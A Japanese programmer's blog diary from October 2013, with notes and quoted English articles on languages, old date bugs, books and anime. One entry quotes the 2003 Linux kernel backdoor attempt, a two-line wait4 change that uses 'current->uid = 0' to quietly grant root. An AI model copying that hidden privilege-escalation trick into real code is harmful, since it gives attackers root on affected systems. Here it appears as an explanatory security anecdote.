ときどきの雑記帖'

最新ページへのリンク
目次ページへのリンク

一つ前へ 2013年10月(上旬)
一つ後へ 2013年10月(下旬)

ホームへ

2013年10月20日

■_

Ma’am, Your Burger Has Been Paid For - NYTimes.com を見て、向こうでも「バーガー」って表現すんだねえと思ったのだけど よく考えたら BURGER KING® というのがあったのだった (米国出張中は何回かお世話になりました :)。 んで、改めて辞書をひくと Burger | Define Burger at Dictionary.com Origin: 1935–40, Americanism; extracted from hamburger by false analysis as ham + burger おおう。

■_ D

Facebook で~ の話が Dr Dobb's の記事に。

Facebook Adopts D Language | Dr Dobb's

Facebook Adopts D Language

By Adrian Bridgwater, October 16, 2013

Rapturous community reception to news that Facebook uses D for live production

(略)

Community developers have already lauded this news and described it as the "call to arms" now happening
after the language's development focus was directed towards "quality and professionalism" at the DConf
conference held earlier this year. There has also been particular note made of the bug report, fix, resolution
process, which has now markedly improved.

Walter Bright described this news as the "start of the first battle signalling the end of Middle Earth,
and the rise of the Age of D." Other D developers, such as J. M. Davis, offered perhaps less hyperbolic
assessments: "It doesn't mean that D has taken over the programming world or anything like that, but it
shows that the language is maturing and that real companies are now willing to use it in the real world — and
it's a pretty major company at that."

関連記事 D言語の現状 - Go ahead! Facebook Adopts D Language : programming Facebook is using D in production starting today : programming

しかし start of the first battle signalling the end of Middle Earth, ってw

■_ 30年もの

Fighting a 20-year-old software bug : programming 関連記事 → My First BillG Review - Joel on Software

Fighting a 30-year-old software bug | Ovid [blogs.perl.org]

Fighting a 30-year-old software bug
By Ovid on October 18, 2013 9:33 AM

Er, an earlier version of this said the software bug was 20 years old. It's 30! Thanks, Sidhekin

(略)

In the good ol' days, Apple computers would sometimes spontaneously reset their date to January 1st, 1904. The
reason for this is fairly simple. Back then, Apple computers used battery-powered "system clocks" to
keep track of the date and time. What happened when the battery ran out? Apple computers tracked their dates as
the number of seconds since the epoch. In this sense, an epoch is merely a reference date from which we start
counting and for Macintosh computers, that epoch was January 1st, 1904 and when the system clock battery died,
that was your new date. But why did that really happen?

(略)

Moving along, we have Lotus 1-2-3, IBM's "killer app" that helped to launch the PC revolution, though
it was VisiCalc on the Apple that really launched the personal computer. It's fair to say that if 1-2-3 hadn't
come along, PCs would likely have not taken off the way they had and computer technology would have turned out
considerably differently. However, Lotus 1-2-3 incorrectly reported 1900 as a leap year. When Microsoft released
Multiplan, their first spreadsheet program, it didn't have much market penetration. So when they conceived of
Excel, they decided to not only copy 1-2-3's row/column naming scheme, they made it bug-for-bug compatible,
including deliberately treating 1900 as a leap year, a problem that remains to this day. So for 1-2-3, this was
a bug, but for Excel, it was a feature to guarantee that everyone who used 1-2-3 could import their spreadsheets
into Excel with no differences in the data, even if the data were wrong.

(略)

To work around this, I now have the following (pseudo-code):

difference = formatted_year - parsed_year
if ( 0 == difference )
    assume 1900 date system
if ( 4 == difference )
    assume 1904 date system
if ( 5 == difference and parsed month is December and parsed day is 31 )
    assume 1904 date system # yeah, I had 1900 originally. Thanks for spotting that

And now all 36,916 dates parse correctly.

Note: for extra fun, if you have a Mac and you're running Excel, try entering a date before 1904 and then
formatting it into a different date format. You can enter the date, but you can't format it because Excel will
accept it, but will treat it as a text field. Meanwhile, for Microsoft Excel, all days of the week prior to
March 1st, 1900 are wrong, due to a bug in software released in January of 1983.

Update: It was pointed out that Spreadsheet::ParseExcel does parse Excel's 1904 flag. Unfortunately, I'm using
Spreadsheet::ParseExcel::Stream, which does not. Even on beefy boxes, we've run out of memory with the using
the standard parser so we've had to fall back on the streaming parser. So far every attempt I've made to work
around this has hit yet another bug.

Update 2: turns out Microsoft released Excel for Macintosh first!

Update 3: And according to an anecdote from Joel Spolsky, the Lotus 1-2-3 "bug" may have been a
deliberate attempt to simplify the Lotus software. I had previously read hints that Lotus did this deliberately,
but since I couldn't say for sure, I left it out.

1-2-3 がそうだったというのは知ってたけど Apple computers would sometimes spontaneously reset their date to January 1st, 1904. だったとは。この後の文からするとここでいってるのは Mac のことじゃないですよね。

1900 年は閏年じゃないので、1904年始まりにするとある年が閏年かどうか判定するときに 100で割りきれるかどうかの判定を(2100年までは)サボれるとかいうのを どこかで読んだ覚えがあるんだけどどこだっけか。 単純に4で割り切れるかどうかチェックするだけで良くて、さらにそれは 最下位2ビットが00かどうか見ればよいという。

■_ Learning Gerrit Code Review

InfoQ で著者インタビューのあったこの本 Book Review: Learning Gerrit Code Review 面白そうだなあとリンクを辿ると Learning Gerrit Code Review: Luca Milanesio: 9781783289479: Amazon.com: Books paper back が $31.49、kindle が $14.84。これはこれでいいんだけど できれば mobi 以外のフォーマットでも欲しい (amazon で買うとプロテクトかかってたりするし)。で、さらに調べてみると Learning Gerrit Code Review | Packt Publishing Formats: PDF, PacktLib, ePub and Mobi formats で (15%の割引ありで) $17.84。 .mobi のみで15ドル弱よりはこっちの方が良いよねえ。と思いつつさらに調べると オライリーでも扱ってた。 Learning Gerrit Code Review - O'Reilly Media Ebook: $20.99 Formats: ePub, Mobi, PDF だと。サンクスギビンクかクリスマスの半額セールに期待してちょっと待ってみよう :)

■_

■_ 閏年といえば

どこの製品とは言わないけど、 1996年→閏年、 2000年→平年、 2004年→閏年 って判定してたのがあったよなあ(遠い目)

■_

COMITIA 行き損ねた。ネリマ証券~~ はじまた |スダ・A16a@コミティア106の投稿画像

2013年10月19日

■_

ビッグコミック オリジナル 2013年 11/5号 [雑誌]
ビッグコミック オリジナル 2013年 11/5号 [雑誌] キートン掲載号。 次回は「来春」て…

近代科学社のこのシリーズってわりと良い気がする。 もちろんこれだけあればOKというところまではいかないけど、 薄いし高くないし取りあげている内容に興味があるけど どこから始めればよいか見当がついてないような場合にはオススメしやすいと思う。 あ、自分はシリーズすべてに目を通したわけではないし、 個人の意見ですのでその辺は割り引いてくださいな。 ライブラリ情報学コア・テキスト Computer Science Library

■_

■_ open

TaPL にこの open recursion 出てきたんですが 解説なかったのでよくわからなかったw

What is "Open Recursion"? : programming

To be honest I don't think this is a good explanation. By using assignment, you cloud the difference between
meta-language and language semantics.

Simply put, open recursion is where the recursive knot is tied (the binding is made to self) when you observe
the structure, rather than when you construct it. So, the language decides what "self" is dynamically
based on what object you are calling a method on rather that what object the method was defined in. Your examples
here don't even have such a "self" variable, so I don't see how your examples correlate to the formal
definition of open recursion. You appear to be trying to tie the knot via assignment to some maps, which kind of
looks like prototypal OO but doesn't really relate to the concept of open or closed recursion.

What is "Open Recursion"? – journal.stuffwithstuff.com

What is "Open Recursion"? – journal.stuffwithstuff.com

Someone on StackOverflow stumbled onto the strange term “open recursion” and asked what it meant. Since most
of the other answers to this online are pretty opaque, I started writing an answer. But then I accidentally
wrote a blog post.

I honestly couldn’t remember what it meant either, so I cracked open my copy of Types and Programming Languages
where, I believe, Pierce first introduces the term. After skimming a bit, I think I’ve got it. For those who
don’t have the book or don’t want to wade through PL nerd terminology, I’ll try to translate it to something
a little friendlier.

I believe, Pierce first introduces the term あら。 にしても最近はこういうの訳してやろうという元気がでないわー

2013年10月18日

■_

MRI に入れられそうになる (SRIなら…マテ)

-ian について。なるほど色々あるんですねえ melancholic afternoon

■_

これ

バベジの「プログラム可能な計算機」というくくりなら 解析機関 - Wikipedia だけど、1991年に云々てのは 階差機関 - Wikipedia こっちですよね。 こっちを「プログラム可能な計算機」と呼ぶのは無理があるんじゃないかなあ。 当時の技術水準では~というのも The purpose of the project was both to memorialize Babbage's work in time for 200th anniversary, in 1991, of Babbage's birth, and at the same time to resolve two nagging questions: could Babbage have built his engine, and had he done so, would it have worked?We can say with some confidence that had Babbage built his engine, it would have worked.

■_

■_

Coding Horror: You Don't Need Millions of DollarsMasters of Doom: How Two Guys Created an Empire and Transformed Pop Culture: David Kushner: 9780812972153: Amazon.com: Books 読んでみたいが翻訳でないかなあ(弱気)

2013年10月17日

■_

昨日は出勤大変だった模様。そらまあそうでしょうねえ。

今週 GNU APL読んでないかも。 というかそろそろ移植作業始めたい。

■_

twitter で見かけた気になる近刊新刊。 早いところだと今週末には見かけそう?>チューリング~

■_

History of Programming Languages - an infographic | LoadStorm この infographic 以前にも見たような気もするのだけど 脆弱性 (vulnerability) の言語別の発生原因とか修正率が興味深い。 どこかで確認できる数値なんだろうか。

■_ メンテ不能なコードの作り方

反面教師的な。 Typical Programmer - How to develop unmaintainable software How to develop unmaintainable software : programming

■_

2013年10月16日

■_

とある論文を読んでいましたら「Erlangian distribution」というのが出てきまして。 こりゃあアーラン分布のことだろうと思ったんですが、 アーラン分布 - Wikipedia には アーラン分布(アーランぶんぷ、Erlang distribution)は、待ち行列の待ち時間を計算するためにデンマークの数学者アーランが提唱した確率分布であり、特に通信トラヒック工学で使われる。 とあるし、 アーラン分布とは - OR事典 Weblio辞書 でも 【英】:Erlang distribution こう。 とどめに英語版のウィキペも Erlang distribution - Wikipedia, the free encyclopedia こうだった。 とはいえ、Google で検索しようとしたときに erlang では distribution がサジェスチョンにでてこないで erlangian で出てくるんですよね。 正規分布(ガウス分布)は Normal distribution - Wikipedia, the free encyclopedia In probability theory, the normal (or Gaussian) distribution is a very commonly occurring continuous probability distribution と -ian だったりするのでこの辺の違いはなんなのかなあと疑問に思った台風一過。 Bernoulli distribution - Wikipedia, the free encyclopedia Poisson distribution - Wikipedia, the free encyclopedia Hermite distribution - Wikipedia, the free encyclopedia 他には…あ、リストになってたw List of probability distributions - Wikipedia, the free encyclopedia

X で盛り上がり? Introducing Rubinius X : ruby Ruby is a dying language (?) : ruby

ここ数ヶ月、TIOBE index の50位までの数字を保存してまして、 その期間での変わり具合を見てると面白いものが見えてきそうかなあという感触。 まああの index 値自体がどの程度信用して良いかは微妙な部分はあるものの、 大まかに云っていくつかのグループに分けられるだろうとか 中長期的な傾向は見て取れると思ってます。 逆に、先月と順位がどう変わったいったことはあまり意味がないと思います。 ですからindex 値が微妙な変化なところで なにが一位になったとかtop 10だの20だのに入った抜けたで騒ぐのは以下略。

■_ InfoQ

今月頭にあげられたヤツですが Everything I Have Learned I Have Learned From Someone Else David Nolen keynotes on how developers learn as seen in a number of diverse examples drawn from objected oriented user interface programming to constraint logic programming. これ、スライドだけ見てもなんのこっちゃかもしれませんけど なかなか面白い(興味深い)んじゃないかと。 ラストの一枚が気にいった :) →

■_

2013年10月15日

■_

コロッケ。

まあ強制できないってのはわかるけども。

■_ InfoQ

関数プログラミングのなにが難しいか(てな感じ?)

What Puzzles You Most About Functional Programming?

In this InfoQ research, we ask you: what puzzles you most about functional programming? The following is an
incomprehensive list of things that might puzzle you about functional programming. 

    How to work with immutable data structures: How do immutable data structures, like Clojure's persistent data
    structures, work. How expensive are they in terms of memory usage (GC memory pressure, overhead) or
    algorithmically (indexed access for vectors, etc).
    immutable なデータ構造をどのように使うのか

    Is referential transparency ("purity") useful? Referential transparency means that a function call
    can be replaced with its result without changing the program’s behaviour. This implies that functions can’t
    have side effects and behave more like mathematical functions. This is sometimes also called purity.
    参照透過性は有用なの?

    How do functional languages handle program state? If we program with pure functions and immutable data
    structures, can our programs actually do something useful?
    関数言語はどのようにプログラムの状態を扱うの?

    What are functional patterns like monads, applicatives?
    monad や applicative のような functional pattern はどういったものなのか?

    What are these different types of functions and where do I use them: anonymous, lambda, higher-order, closure.
    An anonymous function, sometimes also called lambda, is a function that is not necessarily bound to a name.
    Higher-order describes functions that have take other functions as parameters or return a function. Closures
    are those functions that capture some of their surrounding program state.
    無名関数、lambda、高階関数、クロージャとはそれぞれどういったもので、どういったところで使うものか

    Is strong static typing necessary?
    storong static typing は必要なの?

    Do I have to replace all my for-loops with map/filter/fold functions?
    自分のプログラムにある for-loop を全部 map/filter/fold で置き換えないといけない?

    How do functional languages help control side-effects?
    

    Where can the map-filter-reduce style of programming be applied?
    map-filter-reduce スタイルのプログラミングを適用できるのはどういった場面?

    Isn’t pattern matching just an instanceof check in disguise?
    パターンマッチングって instanceof check と同じようなものじゃないの?

    Are there benefits to separating data and behaviour? Object-oriented programming conflates data and the
    operations/methods on them. Functional programming tends to separate these two.
    データと振る舞いとの分離に利益はあるの?

    Where is lazy evaluation useful? Lazy evaluation means delaying the evalution of parts of the program for as
    long as possible. Ideally, this avoids evalutions that are never needed, for example, a function argument
    that is not used.
    遅延評価が有用な場面はどういったところ?

    Can we better reason about programs when they’re functional?

    Does type inference make programming easier? Type inference means that we can omit types when writing code
    and the compiler infers them from the exising code. Most programming languages already have type inference
    to a varying degree, for example, C++’s auto or C#’s var.
    型推論はプログラミングを容易にする?

    Are recursive functions really the only way to write code in functional languages?

    Are continuations essential or just a fancy gimmick?
    継続は essenial なもの? それとも単なる fancy gimmick?

■_

ついに完結 泳ぐやる夫シアター やる夫で学ぶ第一次世界大戦  最終夜「戦争の終焉と、帝国の崩壊」

PC-100 が 泳ぐやる夫シアター やる夫と学ぶホビーパソコンの歴史 第十三話 闇の中の宝玉

■_

2013年10月14日

■_

ちらちら見かけるので神保町にいったついでにちょっと見てみたが やはりハードルが高かったのでとりあえず心の中に積んでおくだけにしよう。 復刊 半群論
復刊 半群論 復刊 束 論
復刊 束 論

仕事に必要なことはすべて映画で学べる ―会社に使い倒されないための9の心得 まだ買ってない。 昨日か一昨日あたりにみたblogで、この本から引っ張ったっぽいことを書いてたところがあって ちょっと気になったのよねん。思ったより財布の中身が不如意だったので見かけたその場で買うのは断念。 カード使っても良かったのだけど、16日以降にしたかったのね(締め日の関係で)。

KADOKAWA のこのシリーズ結構面白そうだった。上の押井さんの本も含めてあれもこれも全部は 買ってられないので絞るんだけどさ ルールを変える思考法 (角川EPUB選書)
ルールを変える思考法 (角川EPUB選書) グーグル、アップルに負けない著作権法 (角川EPUB選書)
グーグル、アップルに負けない著作権法 (角川EPUB選書) アルゴリズムが世界を支配する (角川EPUB選書)
アルゴリズムが世界を支配する (角川EPUB選書)

小惑星に挑む (書籍扱い楽園コミックス)
小惑星に挑む (書籍扱い楽園コミックス) 8末に出た本です。 今更ながらの「はやぶさ」の本。 ただしあとがきによれば帰還フィーバー以前から執筆されていたそうです。 自分が気に入ったのは、はやぶさ本体は擬人化していないところ :) でも、描かれているあれやこれやが感情移入させるんですよねえ。

■_

■_

あれやこれやまとめる余裕がががが。 本読むのも自宅じゃなんなので外に出るにしても良いところがないのよねえ。 都立中央図書館は丸一日出かけるにはいいけど、午後にちょっと時間ができたから で行くにはちとしんどいし、 近場の図書館は席埋まってるし 喫茶店はうるさいし… いやまあ人通りのあまりないところにある喫茶店で 席も埋まりきってはないようなところもいくつかあるんだけど そういうところに「本を読みに」行くのも気が引けるよね。と。

マンガ喫茶はこれも結構満席率高いし、 ネット環境あると気が散るんだよなw

■_

明日はコロッケ買って帰ろう。

2013年10月13日

■_

狼の口 ヴォルフスムント 5巻 (ビームコミックス)
狼の口 ヴォルフスムント 5巻 (ビームコミックス) 新刊。 なんというところで「次巻に続く」○| ̄|_

free-programming-books/free-programming-books.md at master · vhf/free-programming-books 原著がこういう状態でも翻訳書がそうならない(できない)のには 面倒くさい理由があって(ry というのはジュンク堂でのかくたに-和田トークイベントでちょっと話に出てきましたね。 ってまだまとめ(感想)書いてないや。

「秋頃」だからそろそろかひょっとして見逃したかと思ったけど次号だった。 ある意味大当たり。 小学館コミック -ビッグスリーネット-[ビッグコミックオリジナル:次号予告]

こっちは来週か 中島みゆきのオールナイトニッポン月イチ|AMラジオ 1242 ニッポン放送

久ぶりに口内炎ができて痛い。

■_

ロシアでのjargon方言?

The Trenches - Local dialect

Local dialect

    09/24/2013 - Anonymous

A bit of jargon from Russian developers, to lighten the mood a bit:

“Batman” - a memory corruption bug. From: “The goddamned Batman flew in and shat into the memory!”.

“Speedy Gonzalez” - a race condition bug, when process is “too fast” in reaching a certain point of code.

“Mount becomes hungry” - a situation where some action produces bug in completely unrelated piece of code.
From a bug report where player’s mount became hungry after player sold something in auction house.

“Samurai Code” (also “Tough Code”) - A true Samurai is not afraid of death, and so is this code. It never
checks anything and will crash if you pass it a wrong combination of parameters.
真のサムライは死を恐れない。そしてそれはサムライコードも同じ。
なんのチェックも行わず、間違った組み合わせのパラメーターが渡されたときにはクラッシュする。

“Guerrilla Code” - A guerrilla fighter tries to protect his comrades to the end. This code tries to cover up
a serious mistake. It does not handle it correctly, but make it so you will only discover it much later, in a
different module, where all context already disappeared.
ゲリラの戦士は同志を最後まで守ろうとする。ゲリラコードは深刻な間違いを cover up することを試みる。
しかしそれは正しく対処していないので、問題があとになってから
すべてのコンテキストが失われてから別のモジュールで発覚するようになっただけである。


“Ninja Code” - A code added to a module owned by another programmer without notifying owner, which drastically
changes module’s behavior. Bonus points for making it only execute in very special circumstances which will
only come up a few weeks later.

“‘Retarded Child’ architectural pattern” - A sub-system which can’t report error and can’t correctly
handle it (for example, I once worked with a database connection which didn’t have any way to access error
code or description for a query, and didn’t log it, but just returned general ERROR status to you, so you
could only discern nature of error by setting breakpoint inside that connection’s code, which was in another
library)

“Epic game development” - A development process where a lot of important information (location of critical
resources, build-in cheat codes, status of some sub-systems) never gets written down, but instead is passed by
the word of mouth from developer to developer, like a folk tale. Most game development in Russia is Epic.

こええw >サムライコード

■_ Word 死すべし

これまた温度差がw Charlie Stross: Why Microsoft Word must Die : programming Why Microsoft Word must Die | Hacker News

Why Microsoft Word must Die - Charlie's Diary

Why Microsoft Word must Die
By Charlie Stross

I hate Microsoft Word. I want Microsoft Word to die. I hate Microsoft Word with a burning, fiery passion. I
hate Microsoft Word the way Winston Smith hated Big Brother.  Our reasons are, alarmingly, not dissimilar ...

Microsoft Word is a tyrant of the imagination, a petty, unimaginative, inconsistent dictator that is ill-suited
to any creative writer's use. Worse: it is a near-monopolist, dominating the word processing field. Its
pervasive near-monopoly status has brainwashed software developers to such an extent that few can imagine a
word processing tool that exists as anything other than as a shallow imitation of the Redmond Behemoth. But
what exactly is wrong with it?

以下略

■_

2013年10月12日

■_

ロスト・インタビュー スティーブ・ジョブズ 1995
ロスト・インタビュー スティーブ・ジョブズ 1995 ロスト・インタビュー スティーブ・ジョブズ 1995
ロスト・インタビュー スティーブ・ジョブズ 1995 この本買って読んだんですけどね(紙の方)、ひとつ重箱の隅つつきをw。 Apple I のための資金を捻出するためにジョブズはマイクロバスを、ウォズは電子計算機を売ったという 下りがあるんですけど(p20)、ウォズが売ったのってhpの関数電卓とかだったような。 ありがたいことにこの本には原文も載っているのでそっちをみると I sold my Volkswagen bus and Steve sold his calculator でした。 うーん…。まあ計算機なんでしょうけどお

■_

ウォークマンでも、 普段はカセットテープとくらいの大きさなのだけど 使うときには筐体がスライドしてサイズがちょっと大きくなるというのがあったような。

宇宙戦艦ヤマト 69番艦

625 名無し三等兵 [] 2013/10/12(土) 02:39:28.64 ID:JsQ/KoOk Be:
    ヤマトが精神攻撃を受けたシーンで、現代の公衆電話機が出てきて、
    いろいろ突っ込みたい気分だった。
    艦内電話でも現代で使われているような受話器があったけど、
    22世紀末だからねえ。 

626 名無し三等兵 [sage] 2013/10/12(土) 05:30:30.86 ID:??? Be:
    ボトムズの最新作でも、電話機はバカでっかかった。
    きっと百年たって、電話は公衆電話が良くて、あの大きさでないと駄目、という結論が出たんだろう。 

629 名無し三等兵 [sage] 2013/10/12(土) 06:33:17.37 ID:??? Be:
    >>625
    そこは旧作で描かれてた古代家が1970年代の日本そのままというのをあえて再現してる描写なので。 

630 名無し三等兵 [sage] 2013/10/12(土) 06:33:39.11 ID:??? Be:
    どんな未来だろうが真空管は無くならない

    アンプの為に必要なのだ 

633 名無し三等兵 [sage] 2013/10/12(土) 06:49:15.85 ID:??? Be:
    >>625-626
    電話機ができて概ね百年経過した今でも固定電話機における受話器が
    ほぼ同じデザインであるということを受けて、
    22世紀末でも同じってのはありうる話だろうし、
    戦闘艦の中で有線で確実に通話できるようにするのは艦内電話の仕様としては
    問題無いと思う。

    ただ、出発前のヤマト計画ミッション説明のシーンで、マイクのデザインが
    1940~50年代くらいのそれに則したデザインというのは、
    いくらなんでもやりすぎって気がしたがw 

635 名無し三等兵 [] 2013/10/12(土) 08:01:43.42 ID:gpZXoxCd Be:
    昔、カセットより小さいカセットデッキというかウォークマンのパチもんがあった
    すごく薄い電卓もあった
    使いやすい大きさを無視してたんだな 

636 名無し三等兵 [sage] 2013/10/12(土) 08:09:57.88 ID:??? Be:
    ウォーキーか
    頭がはみ出たくらいで騒ぐな 

642 名無し三等兵 [sage] 2013/10/12(土) 10:41:52.23 ID:??? Be:
    >>635
    CDプレーヤーでCDより小さい物を見た覚えがある。CD上面から見て
    1/4程度を挿入出来る程度の寸法で、残り3/4を露出したCDがエンジン草刈り機のように
    ギャアアアアアアアアアアアアン!!と高速回転するんだが。

    小型軽量なら何でも良いという誤った風潮の産物だと思う。 

644 名無し三等兵 [sage] 2013/10/12(土) 10:56:27.94 ID:??? Be:
    >>642
    ディスクマンだな
    デフォルトは8cmシングル用だ
    アナログレコードにもヘリコンポというのがあってだな
    レコードが殆ど裸のフラミンゴというのもあってだな 

645 名無し三等兵 [sage] 2013/10/12(土) 10:58:35.01 ID:??? Be:
    電卓付きデジタル時計なんてのもあったなぁ 

648 名無し三等兵 [sage] 2013/10/12(土) 11:44:30.35 ID:??? Be:
    うちの技術を使えば、こんなに小さく出来るんですよ。
    って言うの見本だな、電卓付きデジタル時計。高技術を誇示するだけで使い勝手を考えてない。
    「またソニーがユーザーの事を考えていない同じ事をやりだしてるよ」って言うニュースに対して、
    日本の技術は世界一っ!そんな突込みを入れる学者が悪い!とか意見があったが
    そう言うのは研究所や産業用機械メーカーがやる事であって、家電メーカーのやる事じゃない。 

649 名無し三等兵 [sage] 2013/10/12(土) 12:07:08.84 ID:??? Be:
    >高技術を誇示するだけで使い勝手を考えてない。

    そうだよなぁ。漏れならドメルのように艦載機を瞬間物質移送器で
    転送するくらいなら、最初から削岩弾をヤマトの座標そのものに転
    送して艦体内部に直接転送するがなぁ・・・
    艦載機を繰り出すのはその後でいいだろ。 

650 名無し三等兵 [sage] 2013/10/12(土) 12:16:56.57 ID:??? Be:
    多分、空間転移能力を持った構造体の内部に転移座標を設定することは出来ないといった縛りがあるのだろう。 

651 名無し三等兵 [sage] 2013/10/12(土) 12:46:46.62 ID:??? Be:
    物体内部への転送はヤマト世界では出てこなかったような
    ディンギルの転送装置もミサイルランチャーを敵艦至近に送り出すモノだったし 

■_ cat

確かにパイプラインの最初にcat を使うのは気になるといえば気になる。 まあ利点もあるのはわかるんだけど。

Newbie Q: why won't this script extract a section from kdmrc? : perl

I'm trying to extract the [Xdmcp] section from /etc/kdmrc and for some reason it's dumping the entire file:

cat /etc/kde4/kdm/kdmrc | perl -ne 'm/^\s*\[(.+)\]/ and $section=$1; $section=="Xdmcp" and print'

At first I thought my regexp was bad, but this one-liner successfully prints the section name for each line of the file:

cat /etc/kde4/kdm/kdmrc | perl -ne 'm/^\s*\[(.+)\]/ and $section=$1; print "$section\n"'

Then I thought that maybe I wasn't getting the scoping right with those "and" keywords, so I converted them to if(){} statements, but nope, I get the entire file again:

cat /etc/kde4/kdm/kdmrc | perl -ne 'if (m/^\s*\[(.+)\]/) {$section=$1}; if ($section=="Xdmcp") {print}'

I think I've narrowed it down to the condition that checks $section. This spits out a "1" for each line in the file:

cat /etc/kde4/kdm/kdmrc | perl -ne 'if (m/^\s*\[(.+)\]/) {$section=$1}; print ($section=="Xdmcp")'

What am I getting wrong? Why is ($section=="Xdmcp") always returning true?


== is numerical comparison, try using eq.

Bingo. That fixed it, thanks!

Awww man, I just realized that had I used a regex test like I had originally planned (e.g. $section =~ m{etc}),
this would have been a non-issue. But at least this way I got a solid reminder about numerical comparisons vs
string comparisons!


Why are you doing

cat <single_file> | cmd 

rather than

cmd < file

Just to drive old 'nix guys like me crazy?

■_ 謎のブックマーク的な何か

ホーア論理 - Wikipedia プログラムの3つの意味論のまとめ - 射撃しつつ前転

■_

EncodePointer/DecodePointer - L'eclat des jours(2013-10-10) これで初めて Encode(Decode)Pointer なるものが増えてたのを知ったのだけど EncodePointer function (Windows) を見ていくと EncodeSystemPointer function (Windows) というのもあるのに気がついてその説明を見ると

EncodeSystemPointer function (Windows)

Remarks

Encoding globally available pointers helps protect them from being exploited. The EncodeSystemPointer function
obfuscates the pointer value with a secret so that it cannot be predicted by an external agent. The secret used
by EncodeSystemPointer is the same for each process on a given computer, and is known to all the processes on
that computer.

A pointer must be decoded before it can be used.

Using EncodeSystemPointer/DecodeSystemPointer is faster than using EncodePointer/DecodePointer, but the encoded
system pointers are more vulnerable to attack because the value can be predicted on a per-machine basis.

なんともMicrosoft流だなあという気がしたり >最後のパラグラフ

■_

Bjarne Stroustrup - The Essence of C++: With Examples in C++84, C++98, C++11, and C++14 | GoingNative 2013 | Channel 9 音声だけ聴いた(リスニング能力が低いのでよくわからなかったけどw) あ、スライドも見たか。 Bjarne Stroustrup - The Essence of C++: With Examples in C++84, C++98, C++11, and C++14 : programming

Bjarne Stroustrup - The Essence of C++: With Examples in C++84, C++98, C++11, and C++14 : programming

Summarized:

    If you understand int and vector, you fundamentally understand all of C++ - the rest is just details
    Constructors and destructors are the real innovation of classes
    GC will never be a c++ requirement
    you need to be able to break the typesystem
    C++ runs on real hardware
    The smaller standard library is regrettable but a side effect of C++ not having a central authority
    Resources are owned by classes, and should have an owner (RAII). Resources are more than memory
    A failure to construct: the primary reason for exceptions

    Example of bad code:

    X *x = new X; // written by Java programmer if (...) throw ...; // leak if (...) return; // leak delete x; // simulate a gc
        better: shared_ptr
        better better: unique_ptr
        better better better: just use a scoped variable

    use return values and C++11 move semantics. "moving" is an easy concept

    pointers are for far less than you think

    Inheritence is overused

    Bjarne doesn't like C arrays ("it doesn't even know how many elements it contains"). templates are supposed to replace them

    templates use duck typing, which has lots of problems, C++14 has "concepts lite" to fix this.

    C++14 will have around 16 Concepts

    an algorithm like "find" may ask if its parameter is a "Sequence" -> it fails or succeeds; it's that simple

    Actual error message (from concept-gcc): error 'list<int>' does not satisfy the constraint 'Sortable' (that's because list does not have operator[])

    You can overload based on Concept: one find for lists, another for associative containers

    The slide at 1:21:00 is improvements C++ needs

    OOP, Generic Programming, Procedural programming should all coexist

    Concepts cost less than enable_if with regards to compile time. Compile times are a concern

■_

2013年10月11日

■_

先週からだったのかーーー>新作 怪奇大作戦|NHK 『怪奇大作戦 セカンド・ファイル(2007年)』もあわせて放送! しか気がつかなかった。 そして 怪奇大作戦ミステリーファイル放送開始!セカンドファイルも再放送 初代怪奇大作戦はなんと10作品あります! なんか無印w も放映するらしい。しかし10本… 狂鬼人間はムリとしても24本あるのになあ。

ふと、「サービスイン」って英語ではどう表現するのか気になった サービスインとは - 日本語表現辞典 Weblio辞書 サービスの提供を開始すること、といった意味で用いられる表現。「ローンチ」(launch)とも言う。 ふむ。

なんか新しいタイプのホームドアが設置されたらしく>田園都市線つきみ野駅 ▶ 速報!つきみ野駅で昇降式ホームドア実証実験開始 - YouTube Twitter / yamanote1390: つきみ野駅にて本日より日本初上下式ホームドア稼働開始 htt ...

■_ TIOBE

■_ GNU APL

今日の気になったコーディング。

//=============================================================================
Token
Quad_ENV::eval_B(Value_P B)
{
   if (!B->is_char_string())   DOMAIN_ERROR;

const ShapeItem ec_B = B->element_count();

vector<const char *> evars;

   for (char **e = environ; *e; ++e)
       {
         const char * env = *e;

         // check if env starts with B.
         //
         bool match = true;
         loop(b, ec_B)
            {
              if (B->get_ravel(b).get_char_value() != Unicode(env[b]))
                 {
                   match = false;
                   break;
                 }
            }

         if (match)   evars.push_back(env);
       }

const Shape sh_Z(evars.size(), 2);
Value_P Z = new Value(sh_Z, LOC);
Cell * cZ = &Z->get_ravel(0);

   loop(e, evars.size())
      {
        const char * env = evars[e];
        UCS_string ucs;
        while (*env)
           {
             if (*env != '=')   ucs += Unicode(*env++);
             else               break;
           }
        ++env;   // skip '='

        Value_P varname = new Value(ucs, LOC);

        ucs.clear();
        while (*env)   ucs += Unicode(*env++);

        Value_P varval = new Value(ucs, LOC);

        new (cZ++) PointerCell(varname);
        new (cZ++) PointerCell(varval);
      }

   Z->set_default(&Value::Spc);
   return CHECK(Z, LOC);
}

B に関係する名前の環境変数を探してごにょごにょしてるっぽいけど、 なんかずいぶん回りくどいことしてるような。 マルチバイト考慮しているようにも思えないし、考慮してないなら1バイトずつちまちま やらないでも?

■_ The Linux Backdoor Attempt of 2003

コード見てもすぐには気がつかなかった(やべー)w

The Linux Backdoor Attempt of 2003

The Linux Backdoor Attempt of 2003

Josh wrote recently about a serious security bug that appeared in Debian Linux back in 2006, and whether it was
really a backdoor inserted by the NSA. (He concluded that it probably was not.)

Today I want to write about another incident, in 2003, in which someone tried to backdoor the Linux kernel. This
one was definitely an attempt to insert a backdoor. But we don’t know who it was that made the attempt—and we
probably never will.

(略)

What did the change do? This is where it gets really interesting. The change modified the code of a Linux
function called wait4, which a program could use to wait for something to happen. Specifically, it added these
two lines of code:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;

[Exercise for readers who know the C programming language: What is unusual about this code? Answer appears below.]


■_ 入門

クロージャやラムダ式を理解していない組込エンジニアが関数型言語を理解するチャレンジングな4冊(+6冊+α) - hdk_embeddedの日記

クロージャやラムダ式を理解していない組込エンジニアが関数型言語を理解するチャレンジングな4冊(+6冊+α) - hdk_embeddedの日記

手続き型言語を主なフィールドとして頑張ってきた組み込みエンジニアが関数型言語に興味を持ったので相談したら以下の
4冊(+6冊)の本を薦められました。順次読んでいきます。多分にチョイスが偏ってます(ので、随時補正を取り込んで下に
追記してます。初出は6冊だったのですが現時点で10冊。お好みでどうぞ。一部はWebで公開されていると教えていただいた
のでリンクを足しておきました。一夜明けて、さらに参考文献が沢山きたので追記しました)。

というエントリがありまして。 具体的にどういったものが挙げられているかは元記事を見ていただくとして

